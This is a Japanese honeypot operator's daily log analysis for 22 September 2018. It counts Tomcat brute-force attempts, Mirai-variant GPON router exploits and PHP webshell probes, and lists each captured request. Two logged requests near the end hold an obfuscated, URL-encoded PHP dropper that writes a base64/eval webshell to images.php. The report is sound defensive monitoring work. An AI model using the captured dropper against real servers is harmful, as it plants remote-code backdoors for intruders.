ハニーポットのログ分析(2018/09/22)
WOWhoneypotの2018/09/22(土) (運用109日目)の簡易分析です。
本日の総アクセス件数は 5047件です。
本日の主なアクセスは以下です。
・Tomcat管理ページへのブルートフォース攻撃:4929件
→攻撃元IPは3種類です。
4771件:68.168.80.xx (AS17378: TIERPOINT PENNSYLVANIA TWO LLC, US)
105件:185.128.40.xx (AS60392: ASRACKEND, CH)
53件:58.215.75.xx (AS4134: CHINANET-BACKBONE No.31,Jin-rong Street, CN)
・phpのWebShell設置の調査:54件
・GPONルータの脆弱性(CVE-2018-10561)を突くMirai亜種の攻撃:10件
→この3日前を境に、Mirai亜種の攻撃対象がD-Linkを狙うものからGPONを狙うものに一斉に切り替わっているのを感じます。種別は以下でD-Linkを狙うものと少し異なります。
8 User-Agent: Hello, World
2 User-Agent: CarlosMatos/69.0
・(新規)「GET /script」のアクセス:1件
→何を目的としたアクセスなのか不明です。User-Agentはpythonでした。同一IPから他のアクセスはありませんでした。
以下が全アクセスログです。
件数 | 日付 | 種別 | リクエスト |
4929 | 2018-09-22 | Tomcat管理ページへのブルートフォース攻撃 | GET /manager/html |
44 | 2018-09-22 | アクセス | GET / |
10 | 2018-09-22 | GPONルータの脆弱性(CVE-2018-10561)を突くMirai亜種の攻撃 | POST /GponForm/diag_Form?images/ |
2 | 2018-09-22 | クローリング | GET /robots.txt |
2 | 2018-09-22 | phpのWebShell設置の調査 | GET /cmd.php |
1 | 2018-09-22 | IISの脆弱性を狙った攻撃 | PROPFIND / |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /xw.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /xshell.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /xiao.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /wshell.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /w.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /wp-admins.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /weixiao.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /webslee.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /wc.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /s.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /sheep.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /qq.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /q.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /phpStudy.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /phpstudy.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /lindex.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /images.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /feixiang.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /defect.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /db_session.init.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /db.init.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /db__.init.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /db_dataml.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /cmx.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /ak48.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | POST /ak47.php |
1 | 2018-09-22 | 不正中継の調査 | HEAD /static/admin/images/login_logo.png |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /z.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /x.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /wpo.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /wp-config.php |
1 | 2018-09-22 | WebDAVの調査 | GET /webdav/ |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /uploader.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /text.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /test.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /shell.php |
1 | 2018-09-22 | 調査 | GET /script |
1 | 2018-09-22 | phpMyAdminの調査 | GET /pma/scripts/setup.php |
1 | 2018-09-22 | phpMyAdminの調査 | GET /phpMyAdmin/scripts/setup.php |
1 | 2018-09-22 | phpMyAdminの調査 | GET /myadmin/scripts/setup.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /muhstiks.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /muhstik.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /muhstik2.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /lol.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /log.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /logon.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /license.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /lala.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /knal.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /java.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /help.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /help-e.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /desktop.ini.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /db_pma.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /db_cts.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /cmx.php?cmd=echo+%5E%3C%3Fphp+%24func%3D%27c%27.%27r%27.%27e%27.%27a%27.%27t%27.%27e%27.%27_%27.%27f%27.%27u%27.%27n%27.%27c%27.%27t%27.%27i%27.%27o%27.%27n%27%3B%24test%3D%24func%28%27%24x%27%2C%27e%27.%27v%27.%27a%27.%27l%27.%27%28b%27.%27a%27.%27s%27.%27e%27.%276%27.%274%27.%27_%27.%27d%27.%27e%27.%27c%27.%27o%27.%27d%27.%27e%28%24x%29%29%3B%27%29%3B%24test%28%27QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzdHIoc2hhMShtZDUoQCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpJiYkX1NFU1NJT05bJ3RoZUNvZGUnXT10cmltKCRfUE9TVFsnY29kZSddKTt9aWYoaXNzZXQoJF9TRVNTSU9OWyd0aGVDb2RlJ10pKXtAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7fQ%3D%3D%27%29%3B+%3F%5E%3E+%3Eimages.php+%26+echo+Hello%2C+Peppa%21 |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /cmx.php?cmd=echo+%22%3C%3Fphp+%5C%24func%3D%27c%27.%27r%27.%27e%27.%27a%27.%27t%27.%27e%27.%27_%27.%27f%27.%27u%27.%27n%27.%27c%27.%27t%27.%27i%27.%27o%27.%27n%27%3B%5C%24test%3D%5C%24func%28%27%5C%24x%27%2C%27e%27.%27v%27.%27a%27.%27l%27.%27%28b%27.%27a%27.%27s%27.%27e%27.%276%27.%274%27.%27_%27.%27d%27.%27e%27.%27c%27.%27o%27.%27d%27.%27e%28%5C%24x%29%29%3B%27%29%3B%5C%24test%28%27QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzdHIoc2hhMShtZDUoQCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpJiYkX1NFU1NJT05bJ3RoZUNvZGUnXT10cmltKCRfUE9TVFsnY29kZSddKTt9aWYoaXNzZXQoJF9TRVNTSU9OWyd0aGVDb2RlJ10pKXtAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7fQ%3D%3D%27%29%3B+%3F%3E%22+%3Eimages.php+%26+echo+Hello%2C+Peppa%21 |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /cmv.php |
1 | 2018-09-22 | phpのWebShell設置の調査 | GET /appserv.php |
本日のドメイン名でのアクセスは以下です。変わり映えはしないですがアクセス数の上下はあります。
5 GET /
2 GET /robots.txt
本日のハンティングログはありません。
以上です。